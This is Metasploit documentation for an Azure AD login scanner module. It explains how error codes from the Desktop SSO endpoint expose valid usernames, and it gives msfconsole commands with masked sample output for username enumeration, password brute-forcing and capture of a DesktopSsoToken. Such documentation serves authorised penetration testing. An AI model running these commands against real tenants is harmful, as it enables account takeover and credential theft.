documentation/modules/auxiliary/scanner/http/azure_ad_login.md
The Microsoft Azure AD SSO service has a vulnerable endpoint that delivers an error-code based response to specific authentication requests in XML. The endpoint, when passed the correct credentials, will respond with a DesktopSsoToken that can be used to authenticate to Azure AD. When the authentication is unsuccessful, the error code that is returned can be used to discover the validity of usernames in the target tenant. This module also reports credentials to the credentials database when they are discovered.
msfconsoleuse auxiliary/scanner/http/azure_ad_loginshow infoset USER_FILE USER_FILEset PASS_FILE PASS_FILEset DOMAIN example.comrunThe target tenant domain to use for the username checks.
A specific username to verify.
A specific password to verify.
A file with users, one per line.
A file with passwords, one per line.
If a tenant's domain is known, you can use this module for username and password brute-forcing.
Specific target output replaced with *s so as not to disclose information
msf > use auxiliary/scanner/http/azure_ad_login
msf auxiliary(scanner/http/azure_ad_login) > set USER_FILE /home/kali/users.txt
USER_FILE => /home/kali/users.txt
msf auxiliary(scanner/http/azure_ad_login) > set PASS_FILE /home/kali/pass.txt
PASS_FILE => /home/kali/pass.txt
msf auxiliary(scanner/http/azure_ad_login) > set DOMAIN example.com
DOMAIN => example.com
msf auxiliary(scanner/http/azure_ad_login) > run
msf auxiliary(scanner/http/azure_ad_login) > run
[-] example.com\wrong is not a valid user
[-] example.com\wrong is not a valid user
[-] example.com\wrong is not a valid user
[-] example.com\k0pak4 is not a valid user
[-] example.com\k0pak4 is not a valid user
[-] example.com\k0pak4 is not a valid user
[+] Password password is invalid but example.com\**** is valid!
[+] Password Password1! is invalid but example.com\**** is valid!
[+] Login example.com\****:****** is valid!
[+] Desktop SSO Token: *******************************************
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
If a tenant's domain is known, you can enumerate their usernames
msf > use auxiliary/scanner/http/azure_ad_login
msf auxiliary(scanner/http/azure_ad_login) > set USER_FILE /home/kali/users.txt
USER_FILE => /home/kali/users.txt
msf auxiliary(scanner/http/azure_ad_login) > set PASSWORD password
PASSWORD => password
msf auxiliary(scanner/http/azure_ad_login) > set DOMAIN example.com
DOMAIN => example.com
msf auxiliary(scanner/http/azure_ad_login) > run
[-] example.com\wrong is not a valid user
[-] example.com\k0pak4 is not a valid user
[+] Password password is invalid but example.com\**** is valid!
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed